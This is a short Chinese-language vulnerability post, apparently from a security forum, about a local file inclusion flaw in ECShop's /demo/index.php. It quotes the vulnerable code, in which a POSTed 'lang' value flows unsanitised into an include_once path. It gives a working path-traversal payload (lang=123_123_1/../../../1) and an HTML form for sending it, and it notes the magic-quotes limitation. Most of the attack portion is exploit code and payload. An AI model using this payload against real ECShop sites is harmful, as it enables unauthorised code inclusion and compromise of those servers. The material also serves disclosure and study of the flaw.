这个洞,其实我在2012年1月的时候看ecshop就分析出来过,当初由于感觉鸡肋就没怎么放出来。刚下了个官网最新版的,没想到还存在。

漏洞文件在:/demo/index.php

if (!empty($_POST['lang'])) //如果不为空
{
$lang_charset = explode('_', $_POST['lang']); //_分割
$updater_lang = $lang_charset[0].'_'.$lang_charset[1];
$ec_charset = $lang_charset[2]; //我们要控制的。
}
.
.
.
/* 加载升级程序所使用的语言包 */
$updater_lang_package_path = ROOT_PATH . 'demo/languages/' . $updater_lang . '_' . $ec_charset .'.php'; //成功进行控制
if (file_exists($updater_lang_package_path))
{
include_once($updater_lang_package_path); //存在就包含。
$smarty->assign('lang', $_LANG);
}
else
{
die('Can't find language package!');
}

为了方便测试,我在本地网站根目录下建立一个1.php

代码如下:

<?php
Phpinfo();
?>

然后利用如下:

POST提交lang=123_123_1/../../../1
成功包含 根目录下1.php

20130608234405

由于本机,搭建环境出了个问题,这个是借别人的图。。应该为post提交,这个漏洞鸡肋之处在于,魔术引号,后面貌似不能%00。
利用代码。保存为html。

<font face="宋体 "><code id="code2"> <html>
<body>
<form action="http://127.0.0.1/demo/index.php" method="post"
enctype="multipart/form-data">
<input type="text" name="lang" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html></code></font>

作者:风之传说 》》90sec